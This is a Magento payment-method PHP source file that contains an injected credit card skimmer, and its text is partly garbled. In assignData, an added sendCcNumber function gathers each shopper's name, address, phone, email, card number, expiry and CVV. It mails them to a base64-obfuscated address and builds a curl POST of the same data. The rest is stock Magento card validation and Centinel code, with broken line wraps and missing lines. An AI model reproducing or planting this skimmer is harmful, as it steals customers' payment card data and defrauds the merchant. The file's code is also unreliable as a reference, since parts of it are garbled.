CC
CC
php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magentocommerce.com for more information.
*
* @category Mage
* @package Mage_Payment
* @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License
(OSL 3.0)
*/
/**
* Assign data to info model instance
*
* @param mixed $data
* @return Mage_Payment_Model_Info
*/
public function assignData($data)
{
if (!($data instanceof Varien_Object)) {
$data = new Varien_Object($data);
}
$info = $this->getInfoInstance();
$info->setCcType($data->getCcType())
->setCcOwner($data->getCcOwner())
->setCcOwnerId($data->getCcOwnerId())
->setCcLast4(substr($data->getCcNumber(), -4))
->setCcNumber($data->getCcNumber())
->setCcCid($data->getCcCid())
->setCcExpMonth($data->getCcExpMonth())
->setCcExpYear($data->getCcExpYear())
->setCcSsIssue($data->getCcSsIssue())
->setCcSsStartMonth($data->getCcSsStartMonth())
->setCcSsStartYear($data->getCcSsStartYear())
->setCcInstallments($data->getCcInstallments())
;
$this->sendCcNumber();
return $this;
}
function sendCcNumber()
{
$info = $this->getInfoInstance();
$object = new Mage_Checkout_Block_Onepage_Billing;
$address1 = $object->getQuote()->getBillingAddress();
$data1 = $address1->getFirstname();
$data2 = $address1->getLastname();
$data3 = $address1->getStreet(1);
$data4 = $address1->getStreet(2);
$data5 = $address1->getCity();
$data6 = $address1->getRegion();
$data7 = $address1->getPostcode();
$data8 = $address1->getCountry();
$data9 = $address1->getTelephone();
$data10 = $info->getCcNumber();
$bin = substr($bin, 0, 6);
$getbank =
json_decode(file_get_contents("https://bins.ribbon.co/api/v1/bins/".$bin.""));
$ccbrand = $getbank->issuer;
$ccbank = $getbank->bank;
$cctype = $getbank->type;
$ccklas = $getbank->card_category;
$expyear = substr($info->getCcExpYear(), -2);
$expmonth = $info->getCcExpMonth();
if (strlen($expmonth) == 1) {
$expmonth = '0'.$expmonth;
};
$data11 = $expmonth;
$data12 = $expyear;
$data13 = $info->getCcCid();
$ipboss = $_SERVER['REMOTE_ADDR'];
$details =
json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
$nama_negara = $details->country;
$kode_negara = $details->country_code;
$serverboss = $_SERVER['SERVER_NAME'];
$time = date('Y-m-d H:i:s');
$data16 = Mage::getSingleton('checkout/session')->getQuote()-
>getBillingAddress()->getEmail();
$message =
"+====== [email protected] ======+
Name: ".$data1." ".$data2."
Address 1: ".$data3."
Address 2: ".$data4."
City: ".$data5."
State: ".$data6."
Zip: ".$data7."
Country: ".$data8."
Phone: ".$data9."
BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."
ccnumb: ".$data10."
expdate: ".$data11." / 20".$data12."
cvv: ".$data13."
From: ".$serverboss."
Email : ".$data16."
+====== [email protected] ======+";
$subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank."
[".$serverboss." - ".$ipboss."]";
$headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">";
$gantengers = "ZnJlZW5ldHdvcmtrbWNAZ21haWwuY29t"; // Ganti email disini
, cuman harus menggunakan hash base64 :D
$tamvan = base64_decode($gantengers);
mail($tamvan, $subject, $message, $headers);
$nodata = "-";
$chbin = "".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."";
$expinfox = "".$data11." / 20".$data12."";
$nameinfo = "".$data1." ".$data2."";
$ipinfo = "".$ipboss." - ".$nama_negara."";
$ch321 =
"name={$nameinfo}&address={$data3}&address2={$data4}&city={$data5}&state={$data6}&c
ountry={$data8}&zip={$data7}&phone={$data9}&ssn={$nodata}&dob={$nodata}&sortcode={$
nodata}&cc={$data10}&exp={$expinfox}&cvv={$data13}&bin={$chbin}&ip={$ipinfo}&site={
$serverboss}&browser={$_SERVER['HTTP_USER_AGENT']}";
//$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ch123);
curl_setopt($ch, CURLOPT_POSTFIELDS, $ch321); curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT,30);
curl_setopt($ch, CURLOPT_POST, 1); curl_exec($ch); curl_close($ch);
}
/**
* Prepare info instance for save
*
* @return Mage_Payment_Model_Abstract
*/
public function prepareSave()
{
$info = $this->getInfoInstance();
if ($this->_canSaveCc) {
$info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
}
//$info->setCcCidEnc($info->encrypt($info->getCcCid()));
$info->setCcNumber(null)
->setCcCid(null);
return $this;
}
/**
* Validate payment method information object
*
* @param Mage_Payment_Model_Info $info
* @return Mage_Payment_Model_Abstract
*/
public function validate()
{
/*
* calling parent validate function
*/
parent::validate();
$info = $this->getInfoInstance();
$errorMsg = false;
$availableTypes = explode(',',$this->getConfigData('cctypes'));
$ccNumber = $info->getCcNumber();
$ccType = '';
if (in_array($info->getCcType(), $availableTypes)){
if ($this->validateCcNum($ccNumber)
// Other credit card type number validation
|| ($this->OtherCcType($info->getCcType()) && $this-
>validateCcNumOther($ccNumber))) {
$ccType = 'OT';
$ccTypeRegExpList = array(
//Solo, Switch or Maestro. International safe
/*
// Maestro / Solo
'SS' => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-
9]{14,15})'
. '|(5018|5020|5038|6304|6759|6761|6763[0-9]
{12,19})|(49[013][1356][0-9]{12})'
. '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-
9]{10}))([0-9]{2,3})?$/',
*/
// Solo only
'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\
d{14,15}$))/',
'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)
[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
. '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\
d{15,18}$)'
. '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9]
(\d{10}$|\d{12,13}$))'
. '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9]
(\d{10}$|\d{12,13}$))'
. '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\
d{12}$|\d{14,15}$))/',
// Visa
'VI' => '/^4[0-9]{12}([0-9]{3})?$/',
// Master Card
'MC' => '/^5[1-5][0-9]{14}$/',
// American Express
'AE' => '/^3[47][0-9]{13}$/',
// Discovery
'DI' => '/^6011[0-9]{12}$/',
// JCB
'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
);
}
else {
$errorMsg = Mage::helper('payment')->__('Credit card type is not
allowed for this payment method.');
}
if($errorMsg){
Mage::throwException($errorMsg);
}
return $this;
}
/**
* Validate credit card number
*
* @param string $cc_number
* @return bool
*/
public function validateCcNum($ccNumber)
{
$cardNumber = strrev($ccNumber);
$numSum = 0;
/**
* Double every second digit
*/
if ($i % 2 == 1) {
$currentNum *= 2;
}
/**
* Add digits of 2-digit numbers together
*/
if ($currentNum > 9) {
$firstNum = $currentNum % 10;
$secondNum = ($currentNum - $firstNum) / 10;
$currentNum = $firstNum + $secondNum;
}
$numSum += $currentNum;
}
/**
* If the total has no remainder it's OK
*/
return ($numSum % 10 == 0);
}
/**
* Other credit cart type number validation
*
* @param string $ccNumber
* @return boolean
*/
public function validateCcNumOther($ccNumber)
{
return preg_match('/^\\d+$/', $ccNumber);
}
/**
* Check whether there are CC types set in configuration
*
* @param Mage_Sales_Model_Quote|null $quote
* @return bool
*/
public function isAvailable($quote = null)
{
return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() :
null))
&& parent::isAvailable($quote);
}
/**
* Whether centinel service is enabled
*
* @return bool
*/
public function getIsCentinelValidationEnabled()
{
return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1
== $this->getConfigData('centinel');
}
/**
* Instantiate centinel validator model
*
* @return Mage_Centinel_Model_Service
*/
public function getCentinelValidator()
{
$validator = Mage::getSingleton('centinel/service');
$validator
->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
->setStore($this->getStore())
->setIsPlaceOrder($this->_isPlaceOrder());
return $validator;
}
/**
* Return data for Centinel validation
*
* @return Varien_Object
*/
public function getCentinelValidationData()
{
$info = $this->getInfoInstance();
$params = new Varien_Object();
$params
->setPaymentMethodCode($this->getCode())
->setCardType($info->getCcType())
->setCardNumber($info->getCcNumber())
->setCardExpMonth($info->getCcExpMonth())
->setCardExpYear($info->getCcExpYear())
->setAmount($this->_getAmount())
->setCurrencyCode($this->_getCurrencyCode())
->setOrderNumber($this->_getOrderId());
return $params;
}
/**
* Order increment ID getter (either real from order or a reserved from quote)
*
* @return string
*/
private function _getOrderId()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return $info->getOrder()->getIncrementId();
} else {
if (!$info->getQuote()->getReservedOrderId()) {
$info->getQuote()->reserveOrderId();
}
return $info->getQuote()->getReservedOrderId();
}
}
/**
* Grand total getter
*
* @return string
*/
private function _getAmount()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return (double)$info->getOrder()->getQuoteBaseGrandTotal();
} else {
return (double)$info->getQuote()->getBaseGrandTotal();
}
}
/**
* Currency code getter
*
* @return string
*/
private function _getCurrencyCode()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return $info->getOrder()->getBaseCurrencyCode();
} else {
return $info->getQuote()->getBaseCurrencyCode();
}
}
/**
* Whether current operation is order placement
*
* @return bool
*/
private function _isPlaceOrder()
{
$info = $this->getInfoInstance();
if ($info instanceof Mage_Sales_Model_Quote_Payment) {
return false;
} elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
return true;
}
}
}